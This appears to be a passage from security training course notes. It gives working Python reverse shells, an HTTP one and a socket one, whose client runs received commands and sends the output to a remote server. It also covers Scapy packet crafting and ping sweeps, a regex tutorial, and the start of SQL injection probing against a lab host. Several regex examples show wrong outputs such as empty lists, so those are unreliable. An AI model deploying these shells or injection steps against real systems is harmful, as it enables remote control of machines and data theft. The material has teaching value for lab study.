1489 post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
1490
1491 time.sleep(3)
1492
1493
1494
1495
1496----------------------------------------------------------------------
1497
1498
1499
1500- Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
1501
1502
1503---------------------------Paste This-----------------------------------
1504
1505import BaseHTTPServer
1506HOST_NAME = '192.168.243.150'
1507PORT_NUMBER = 80
1508class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
1509
1510 def do_GET(s):
1511 command = raw_input("Shell> ")
1512 s.send_response(200)
1513 s.send_header("Content-type", "text/html")
1514 s.end_headers()
1515 s.wfile.write(command)
1516
1517
1518 def do_POST(s):
1519 s.send_response(200)
1520 s.end_headers()
1521 length = int(s.headers['Content-Length'])
1522 postVar = s.rfile.read(length)
1523 print postVar
1524
1525if __name__ == '__main__':
1526 server_class = BaseHTTPServer.HTTPServer
1527 httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
1528
1529 try:
1530 httpd.serve_forever()
1531 except KeyboardInterrupt:
1532 print'[!] Server is terminated'
1533 httpd.server_close()
1534
1535----------------------------------------------------------------------
1536
1537- run server_HTTP.py on Ubuntu with next command:
1538
1539---------------------------Type This-----------------------------------
1540
1541infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1542
1543----------------------------------------------------------------------
1544
1545
1546- on Windows machine run client_http.py
1547
1548- on Ubuntu you will see that connection is established:
1549
1550---------------------------Type This-----------------------------------
1551
1552infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
1553Shell> dir
1554----------------------------------------------------------------------
1555
1556192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
1557192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
1558 Volume in drive C has no label.
1559
1560
1561############################################
1562# Multi-Threaded Reverse Shell in Python 3 #
1563############################################
1564
1565
1566- We'll again create 2 files, one for server and one for client/victim. This code is adjusted to work on python2.7
1567
1568Copy and paste code from below into server.py file on Ubuntu(server) machine and run it with command python server.py:
1569
1570
1571Server.py code:
1572---------------------------Paste This-----------------------------------
1573
1574import socket
1575import sys
1576
1577# Create socket (allows two computers to connect)
1578
1579def socket_create():
1580 try:
1581 global host
1582 global port
1583 global s
1584 host = ''
1585 port = 9999
1586 s = socket.socket()
1587 except socket.error as msg:
1588 print("Socket creation error: " + str(msg))
1589
1590# Bind socket to port and wait for connection from client
1591def socket_bind():
1592 try:
1593 global host
1594 global port
1595 global s
1596 print("Binding socket to port: " + str(port))
1597 s.bind((host,port))
1598 s.listen(5)
1599 except socket.error as msg:
1600 print("Socket binding error: " + str(msg) + "\n" + "Retrying...")
1601 socket_bind()
1602
1603# Establish a connection with client (socket must be listening for them)
1604def socket_accept():
1605 conn, address = s.accept()
1606 print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1]))
1607 send_commands(conn)
1608 conn.close()
1609
1610
1611# Send commands
1612def send_commands(conn):
1613 while True:
1614 cmd = raw_input() #input() is changed to raw_input() in order to work on python2.7
1615 if cmd == 'quit':
1616 conn.close()
1617 s.close()
1618 sys.exit()
1619 if len(str.encode(cmd))>0:
1620 conn.send(str.encode(cmd))
1621 client_response = str(conn.recv(1024)) # had issue with encoding and I have removed utf-8 from client_response = str(conn.recv(1024),"utf-8")
1622 print(client_response)
1623
1624# References for str.encode/decode
1625# https://www.tutorialspoint.com/python/string_encode.htm
1626# https://www.tutorialspoint.com/python/string_decode.htm
1627
1628
1629def main():
1630 socket_create()
1631 socket_bind()
1632 socket_accept()
1633
1634main()
1635
1636
1637
1638----------------------------------------------------------------------
1639
1640
1641-After you have aleady run server.py on Ubuntu, you can then run client.py file from Windows(client) unit. Code is below:
1642
1643Client.py code:
1644
1645---------------------------Paste This-----------------------------------
1646
1647import os
1648import socket
1649import subprocess
1650
1651s = socket.socket()
1652host = '192.168.243.150' # change to IP address of your server
1653port = 9999
1654s.connect((host, port))
1655
1656while True:
1657 data = s.recv(1024)
1658 if data[:2].decode("utf-8") == 'cd':
1659 os.chdir(data[3:].decode("utf-8"))
1660 if len(data) > 0:
1661 cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
1662 output_bytes = cmd.stdout.read() + cmd.stderr.read()
1663 output_str = str(output_bytes) # had issue with encoding, in origin code is output_str = str(output_bytes, "utf-8")
1664 s.send(str.encode(output_str + str(os.getcwd()) + '> '))
1665 print(output_str)
1666# References for str.encode/decode
1667# https://www.tutorialspoint.com/python/string_encode.htm
1668# https://www.tutorialspoint.com/python/string_decode.htm
1669
1670# Close connection
1671s.close()
1672
1673
1674----------------------------------------------------------------------
1675
1676---------------------------Type This-----------------------------------
1677
1678python client.py
1679----------------------------------------------------------------------
1680
1681- Then return back to Ubuntu and you will see that connection is established and you can run commands from shell.
1682
1683---------------------------Type This-----------------------------------
1684
1685infosecaddicts@ubuntu:~$ python server.py
1686
1687----------------------------------------------------------------------
1688
1689Binding socket to port: 9999
1690Connection has been established | IP 192.168.243.1 | Port 57779
1691dir
1692 Volume in drive C has no label.
1693
1694
1695 Directory of C:\Python27
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707###############################
1708# Lesson 21: Installing Scapy #
1709###############################
1710
1711---------------------------Type This-----------------------------------
1712
1713sudo apt-get update
1714sudo apt-get install python-scapy python-pyx python-gnuplot
1715
1716----------------------------------------------------------------------
1717
1718Reference Page For All Of The Commands We Will Be Running:
1719http://samsclass.info/124/proj11/proj17-scapy.html
1720
1721Great slides for Scapy:
1722http://www.secdev.org/conf/scapy_csw05.pdf
1723
1724
1725
1726
1727To run Scapy interactively
1728---------------------------Type This-----------------------------------
1729
1730 sudo scapy
1731
1732----------------------------------------------------------------------
1733
1734
1735################################################
1736# Lesson 22: Sending ICMPv4 Packets with scapy #
1737################################################
1738
1739In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
1740
1741---------------------------Type This-----------------------------------
1742
1743 i = IP()
1744
1745----------------------------------------------------------------------
1746
1747
1748
1749This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
1750
1751---------------------------Type This-----------------------------------
1752
1753 i.display()
1754
1755----------------------------------------------------------------------
1756
1757
1758
1759Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
1760
1761---------------------------Type This-----------------------------------
1762
1763 i.dst="10.65.75.49"
1764
1765 i.display()
1766
1767
1768----------------------------------------------------------------------
1769
1770
1771Notice that scapy automatically fills in your machine's source IP address.
1772
1773Use these commands to create an object named ic of type ICMP and display its properties:
1774
1775---------------------------Type This-----------------------------------
1776
1777 ic = ICMP()
1778
1779 ic.display()
1780
1781
1782----------------------------------------------------------------------
1783
1784
1785
1786Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
1787
1788---------------------------Type This-----------------------------------
1789
1790 sr1(i/ic)
1791
1792----------------------------------------------------------------------
1793
1794
1795
1796
1797This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
1798
1799The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
1800
1801Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
1802
1803---------------------------Type This-----------------------------------
1804
1805 sr1(i/ic/"YOUR NAME")
1806
1807----------------------------------------------------------------------
1808
1809You should see a reply with a Raw section containing your name.
1810
1811
1812
1813##############################################
1814# Lesson 23: Sending a UDP Packet with Scapy #
1815##############################################
1816
1817
1818Preparing the Target
1819
1820---------------------------Type This-----------------------------------
1821
1822$ ncat -ulvp 4444
1823
1824----------------------------------------------------------------------
1825
1826
1827
1828--open another terminal--
1829In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
1830
1831---------------------------Type This-----------------------------------
1832
1833
1834 u = UDP()
1835
1836 u.display()
1837
1838----------------------------------------------------------------------
1839
1840
1841This creates an object named u of type UDP, and displays its properties.
1842
1843Execute these commands to change the destination port to 4444 and display the properties again:
1844
1845---------------------------Type This-----------------------------------
1846
1847 i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
1848
1849 u.dport = 4444
1850
1851 u.display()
1852
1853----------------------------------------------------------------------
1854
1855
1856Execute this command to send the packet to the Windows machine:
1857
1858---------------------------Type This-----------------------------------
1859
1860 send(i/u/"YOUR NAME SENT VIA UDP\n")
1861
1862----------------------------------------------------------------------
1863
1864
1865On the Windows target, you should see the message appear
1866
1867
1868
1869
1870#######################################
1871# Lesson 24: Ping Sweeping with Scapy #
1872#######################################
1873
1874---------------------------Paste This-----------------------------------
1875
1876
1877#!/usr/bin/python
1878from scapy.all import *
1879
1880TIMEOUT = 2
1881conf.verb = 0
1882for ip in range(0, 256):
1883 packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
1884 # You will need to change 10.10.30 above this line to the subnet for your network
1885 reply = sr1(packet, timeout=TIMEOUT)
1886 if not (reply is None):
1887 print reply.dst, "is online"
1888 else:
1889 print "Timeout waiting for %s" % packet[IP].dst
1890
1891----------------------------------------------------------------------
1892
1893
1894###############################################
1895# Checking out some scapy based port scanners #
1896###############################################
1897
1898---------------------------Type This-----------------------------------
1899
1900wget https://s3.amazonaws.com/infosecaddictsfiles/rdp_scan.py
1901
1902cat rdp_scan.py
1903
1904sudo python rdp_scan.py
1905
1906----------------------------------------------------------------------
1907
1908######################################
1909# Dealing with conf.verb=0 NameError #
1910######################################
1911
1912---------------------------Type This-----------------------------------
1913
1914conf.verb = 0
1915NameError: name 'conf' is not defined
1916
1917Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
1918
1919from scapy import *
1920 to
1921from scapy.all import *
1922
1923
1924
1925
1926Reference:
1927http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
1928
1929
1930conf.verb=0 is a verbosity setting (configuration/verbosity = conv
1931
1932
1933
1934Here are some good Scapy references:
1935http://www.secdev.org/projects/scapy/doc/index.html
1936http://resources.infosecinstitute.com/port-scanning-using-scapy/
1937http://www.hackerzvoice.net/ouah/blackmagic.txt
1938http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951#######################
1952# Regular Expressions #
1953#######################
1954
1955
1956
1957**************************************************
1958* What is Regular Expression and how is it used? *
1959**************************************************
1960
1961
1962Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
1963
1964
1965Regular expressions use two types of characters:
1966
1967a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
1968
1969b) Literals (like a,b,1,2…)
1970
1971
1972In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
1973
1974
1975Use this code --> import re
1976
1977
1978
1979
1980The most common uses of regular expressions are:
1981--------------------------------------------------
1982
1983- Search a string (search and match)
1984- Finding a string (findall)
1985- Break string into a sub strings (split)
1986- Replace part of a string (sub)
1987
1988
1989
1990Let's look at the methods that library "re" provides to perform these tasks.
1991
1992
1993
1994****************************************************
1995* What are various methods of Regular Expressions? *
1996****************************************************
1997
1998
1999The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
2000
2001re.match()
2002re.search()
2003re.findall()
2004re.split()
2005re.sub()
2006re.compile()
2007
2008Let's look at them one by one.
2009
2010
2011re.match(pattern, string):
2012-------------------------------------------------
2013
2014This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
2015
2016Code
2017---------------------------Type This-----------------------------------
2018
2019import re
2020result = re.match(r'AV', 'AV Analytics ESET AV')
2021print result
2022----------------------------------------------------------------------
2023
2024Output:
2025<_sre.SRE_Match object at 0x0000000009BE4370>
2026
2027Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
2028
2029---------------------------Type This-----------------------------------
2030
2031result = re.match(r'AV', 'AV Analytics ESET AV')
2032print result.group(0)
2033----------------------------------------------------------------------
2034
2035Output:
2036AV
2037
2038
2039Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
2040
2041
2042Code
2043---------------------------Type This-----------------------------------
2044
2045result = re.match(r'Analytics', 'AV Analytics ESET AV')
2046print result
2047----------------------------------------------------------------------
2048
2049
2050Output:
2051None
2052
2053
2054There are methods like start() and end() to know the start and end position of matching pattern in the string.
2055
2056Code
2057---------------------------Type This-----------------------------------
2058
2059result = re.match(r'AV', 'AV Analytics ESET AV')
2060print result.start()
2061print result.end()
2062----------------------------------------------------------------------
2063
2064Output:
20650
20662
2067
2068Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
2069
2070
2071
2072
2073
2074re.search(pattern, string):
2075-----------------------------------------------------
2076
2077
2078It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
2079
2080Code
2081---------------------------Type This-----------------------------------
2082
2083result = re.search(r'Analytics', 'AV Analytics ESET AV')
2084print result.group(0)
2085----------------------------------------------------------------------
2086
2087Output:
2088Analytics
2089
2090Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
2091
2092
2093
2094
2095
2096
2097re.findall (pattern, string):
2098------------------------------------------------------
2099
2100
2101It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
2102
2103
2104Code
2105---------------------------Type This-----------------------------------
2106
2107result = re.findall(r'AV', 'AV Analytics ESET AV')
2108print result
2109----------------------------------------------------------------------
2110
2111Output:
2112['AV', 'AV']
2113
2114
2115
2116
2117
2118re.split(pattern, string, [maxsplit=0]):
2119------------------------------------------------------
2120
2121
2122
2123This methods helps to split string by the occurrences of given pattern.
2124
2125
2126Code
2127---------------------------Type This-----------------------------------
2128
2129result=re.split(r'y','Analytics')
2130result
2131 ----------------------------------------------------------------------
2132
2133Output:
2134[]
2135
2136Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
2137
2138
2139Code
2140---------------------------Type This-----------------------------------
2141
2142result=re.split(r's','Analytics eset')
2143print result
2144----------------------------------------------------------------------
2145
2146Output:
2147['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
2148
2149
2150
2151Code
2152---------------------------Type This-----------------------------------
2153
2154result=re.split(r's','Analytics eset',maxsplit=1)
2155result
2156----------------------------------------------------------------------
2157
2158Output:
2159[]
2160
2161
2162
2163
2164
2165re.sub(pattern, repl, string):
2166----------------------------------------------------------
2167
2168It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
2169
2170Code
2171---------------------------Type This-----------------------------------
2172
2173result=re.sub(r'Ruby','Python','Joe likes Ruby')
2174result
2175----------------------------------------------------------------------
2176
2177Output:
2178''
2179
2180
2181
2182
2183
2184re.compile(pattern, repl, string):
2185----------------------------------------------------------
2186
2187
2188We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
2189
2190
2191Code
2192---------------------------Type This-----------------------------------
2193
2194import re
2195pattern=re.compile('XSS')
2196result=pattern.findall('XSS is Cross Site Scripting, XSS')
2197print result
2198result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
2199print result2
2200----------------------------------------------------------------------
2201
2202Output:
2203['XSS', 'XSS']
2204['XSS']
2205
2206Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
2207
2208This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
2209
2210
2211
2212
2213
2214**********************************************
2215* What are the most commonly used operators? *
2216**********************************************
2217
2218
2219Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
2220
2221Operators Description
2222. Matches with any single character except newline ‘\n'.
2223? match 0 or 1 occurrence of the pattern to its left
2224+ 1 or more occurrences of the pattern to its left
2225* 0 or more occurrences of the pattern to its left
2226\w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
2227\d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
2228\s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
2229\b boundary between word and non-word and /B is opposite of /b
2230[..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
2231\ It is used for special meaning characters like \. to match a period or \+ for plus sign.
2232^ and $ ^ and $ match the start or end of the string respectively
2233{n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
2234a| b Matches either a or b
2235( ) Groups regular expressions and returns matched text
2236\t, \n, \r Matches tab, newline, return
2237
2238
2239For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
2240
2241Now, let's understand the pattern operators by looking at the below examples.
2242
2243
2244
2245****************************************
2246* Some Examples of Regular Expressions *
2247****************************************
2248
2249******************************************************
2250* Problem 1: Return the first word of a given string *
2251******************************************************
2252
2253
2254Solution-1 Extract each character (using "\w")
2255---------------------------------------------------------------------------
2256
2257Code
2258---------------------------Type This-----------------------------------
2259
2260import re
2261result=re.findall(r'.','Python is the best scripting language')
2262print result
2263----------------------------------------------------------------------
2264
2265Output:
2266['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2267
2268
2269Above, space is also extracted, now to avoid it use "\w" instead of ".".
2270
2271
2272Code
2273---------------------------Type This-----------------------------------
2274
2275result=re.findall(r'\w','Python is the best scripting language')
2276print result
2277----------------------------------------------------------------------
2278
2279Output:
2280['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
2281
2282
2283
2284
2285Solution-2 Extract each word (using "*" or "+")
2286---------------------------------------------------------------------------
2287
2288Code
2289---------------------------Type This-----------------------------------
2290
2291result=re.findall(r'\w*','Python is the best scripting language')
2292print result
2293----------------------------------------------------------------------
2294
2295Output:
2296['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
2297
2298
2299Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
2300
2301Code
2302---------------------------Type This-----------------------------------
2303
2304result=re.findall(r'\w+','Python is the best scripting language')
2305print result
2306----------------------------------------------------------------------
2307
2308Output:
2309['Python', 'is', 'the', 'best', 'scripting', 'language']
2310
2311
2312
2313
2314Solution-3 Extract each word (using "^")
2315-------------------------------------------------------------------------------------
2316
2317
2318Code
2319---------------------------Type This-----------------------------------
2320
2321result=re.findall(r'^\w+','Python is the best scripting language')
2322print result
2323----------------------------------------------------------------------
2324
2325Output:
2326['Python']
2327
2328If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
2329
2330Code
2331---------------------------Type This-----------------------------------
2332
2333result=re.findall(r'\w+$','Python is the best scripting language')
2334print result
2335----------------------------------------------------------------------
2336
2337Output:
2338[‘language']
2339
2340
2341
2342
2343
2344**********************************************************
2345* Problem 2: Return the first two character of each word *
2346**********************************************************
2347
2348
2349
2350
2351Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
2352------------------------------------------------------------------------------------------------------
2353
2354Code
2355---------------------------Type This-----------------------------------
2356
2357result=re.findall(r'\w\w','Python is the best')
2358print result
2359----------------------------------------------------------------------
2360
2361Output:
2362['Py', 'th', 'on', 'is', 'th', 'be', 'st']
2363
2364
2365
2366
2367
2368Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
2369------------------------------------------------------------------------------------------------------
2370
2371Code
2372---------------------------Type This-----------------------------------
2373
2374result=re.findall(r'\b\w.','Python is the best')
2375print result
2376----------------------------------------------------------------------
2377
2378Output:
2379['Py', 'is', 'th', 'be']
2380
2381
2382
2383
2384
2385
2386********************************************************
2387* Problem 3: Return the domain type of given email-ids *
2388********************************************************
2389
2390
2391To explain it in simple manner, I will again go with a stepwise approach:
2392
2393
2394
2395
2396
2397Solution-1 Extract all characters after "@"
2398------------------------------------------------------------------------------------------------------------------
2399
2400Code
2401---------------------------Type This-----------------------------------
2402
2403result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2404print result
2405----------------------------------------------------------------------
2406
2407Output: ['@gmail', '@test', '@strategicsec', '@rest']
2408
2409
2410
2411Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
2412
2413---------------------------Type This-----------------------------------
2414
2415result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2416print result
2417----------------------------------------------------------------------
2418
2419Output:
2420['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
2421
2422
2423
2424
2425
2426
2427Solution – 2 Extract only domain name using "( )"
2428-----------------------------------------------------------------------------------------------------------------------
2429
2430
2431Code
2432---------------------------Type This-----------------------------------
2433
2434result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
2435print result
2436----------------------------------------------------------------------
2437
2438Output:
2439['com', 'com', 'com', 'biz']
2440
2441
2442
2443
2444
2445
2446********************************************
2447* Problem 4: Return date from given string *
2448********************************************
2449
2450
2451Here we will use "\d" to extract digit.
2452
2453
2454Solution:
2455----------------------------------------------------------------------------------------------------------------------
2456
2457Code
2458---------------------------Type This-----------------------------------
2459
2460result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2461print result
2462----------------------------------------------------------------------
2463
2464Output:
2465['12-05-2007', '11-11-2016', '12-01-2009']
2466
2467If you want to extract only year again parenthesis "( )" will help you.
2468
2469
2470Code
2471
2472---------------------------Type This-----------------------------------
2473
2474result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
2475print result
2476----------------------------------------------------------------------
2477
2478Output:
2479['2007', '2016', '2009']
2480
2481
2482
2483
2484
2485*******************************************************************
2486* Problem 5: Return all words of a string those starts with vowel *
2487*******************************************************************
2488
2489
2490
2491
2492Solution-1 Return each words
2493-----------------------------------------------------------------------------------------------------------------
2494
2495Code
2496---------------------------Type This-----------------------------------
2497
2498result=re.findall(r'\w+','Python is the best')
2499print result
2500----------------------------------------------------------------------
2501
2502Output:
2503['Python', 'is', 'the', 'best']
2504
2505
2506
2507
2508
2509Solution-2 Return words starts with alphabets (using [])
2510------------------------------------------------------------------------------------------------------------------
2511
2512Code
2513---------------------------Type This-----------------------------------
2514
2515result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
2516print result
2517----------------------------------------------------------------------
2518
2519Output:
2520['ove', 'on']
2521
2522Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
2523
2524
2525
2526
2527
2528Solution- 3
2529------------------------------------------------------------------------------------------------------------------
2530
2531Code
2532---------------------------Type This-----------------------------------
2533
2534result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
2535print result
2536----------------------------------------------------------------------
2537
2538Output:
2539[]
2540
2541In similar ways, we can extract words those starts with constant using "^" within square bracket.
2542
2543
2544Code
2545---------------------------Type This-----------------------------------
2546
2547result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
2548print result
2549----------------------------------------------------------------------
2550
2551Output:
2552[' love', ' Python']
2553
2554Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
2555
2556
2557Code
2558---------------------------Type This-----------------------------------
2559
2560result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
2561print result
2562----------------------------------------------------------------------
2563
2564Output:
2565['love', 'Python']
2566
2567
2568
2569
2570
2571
2572*************************************************************************************************
2573* Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
2574*************************************************************************************************
2575
2576
2577We have a list phone numbers in list "li" and here we will validate phone numbers using regular
2578
2579
2580
2581
2582Solution
2583-------------------------------------------------------------------------------------------------------------------------------------
2584
2585
2586Code
2587---------------------------Type This-----------------------------------
2588
2589import re
2590li=['9999999999','999999-999','99999x9999']
2591for val in li:
2592 if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
2593 print 'yes'
2594 else:
2595 print 'no'
2596
2597----------------------------------------------------------------------
2598
2599Output:
2600yes
2601no
2602no
2603
2604
2605
2606
2607
2608******************************************************
2609* Problem 7: Split a string with multiple delimiters *
2610******************************************************
2611
2612
2613
2614Solution
2615---------------------------------------------------------------------------------------------------------------------------
2616
2617
2618Code
2619---------------------------Type This-----------------------------------
2620
2621import re
2622line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
2623result= re.split(r'[;,\s]', line)
2624print result
2625----------------------------------------------------------------------
2626
2627Output:
2628['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
2629
2630
2631
2632We can also use method re.sub() to replace these multiple delimiters with one as space " ".
2633
2634
2635Code
2636---------------------------Type This-----------------------------------
2637
2638import re
2639line = 'asdf fjdk;afed,fjek,asdf,foo'
2640result= re.sub(r'[;,\s]',' ', line)
2641print result
2642----------------------------------------------------------------------
2643
2644Output:
2645asdf fjdk afed fjek asdf foo
2646
2647
2648
2649
2650**************************************************
2651* Problem 8: Retrieve Information from HTML file *
2652**************************************************
2653
2654
2655
2656I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
2657
2658
2659
2660Sample HTML file (str)
2661---------------------------Paste This-----------------------------------
2662
2663<tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
2664<tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
2665<tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
2666<tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
2667<tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
2668<tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
2669<tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
2670----------------------------------------------------------------------
2671
2672Solution:
2673
2674
2675
2676Code
2677---------------------------Type This-----------------------------------
2678
2679result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
2680print result
2681----------------------------------------------------------------------
2682
2683Output:
2684[('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
2685
2686
2687
2688You can read html file using library urllib2 (see below code).
2689
2690
2691Code
2692---------------------------Type This-----------------------------------
2693
2694import urllib2
2695response = urllib2.urlopen('')
2696html = response.read()
2697----------------------------------------------------------------------
2698
2699
2700
2701
2702
2703##################################
2704# Day 2 Homework videos to watch #
2705##################################
2706Here is your first set of youtube videos that I'd like for you to watch:
2707https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
2708
2709
2710
2711
2712
2713
2714
2715
2716 ###############################################################
2717----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
2718 ###############################################################
2719
2720##################################
2721# Basic: Web Application Testing #
2722##################################
2723
2724Most people are going to tell you reference the OWASP Testing guide.
2725https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
2726
2727I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
2728
2729
2730The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
2731
2732 1. Does the website talk to a DB?
2733 - Look for parameter passing (ex: site.com/page.php?id=4)
2734 - If yes - try SQL Injection
2735
2736 2. Can I or someone else see what I type?
2737 - If yes - try XSS
2738
2739 3. Does the page reference a file?
2740 - If yes - try LFI/RFI
2741
2742Let's start with some manual testing against 10.1.1.38
2743
2744
2745#######################
2746# Attacking PHP/MySQL #
2747#######################
2748
2749Go to LAMP Target homepage
2750http://10.1.1.38/
2751
2752
2753
2754Clicking on the Acer Link:
2755http://10.1.1.38/acre2.php?lap=acer
2756
2757 - Found parameter passing (answer yes to question 1)
2758 - Insert ' to test for SQLI
2759
2760---------------------------Type This-----------------------------------
2761
2762http://10.1.1.38/acre2.php?lap=acer'
2763
2764-----------------------------------------------------------------------
2765
2766Page returns the following error:
2767You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
2768
2769
2770
2771In order to perform union-based sql injection - we must first determine the number of columns in this query.
2772We do this using the ORDER BY
2773
2774---------------------------Type This-----------------------------------
2775
2776http://10.1.1.38/acre2.php?lap=acer' order by 100-- +
2777-----------------------------------------------------------------------
2778
2779Page returns the following error:
2780Unknown column '100' in 'order clause'
2781
2782
2783---------------------------Type This-----------------------------------
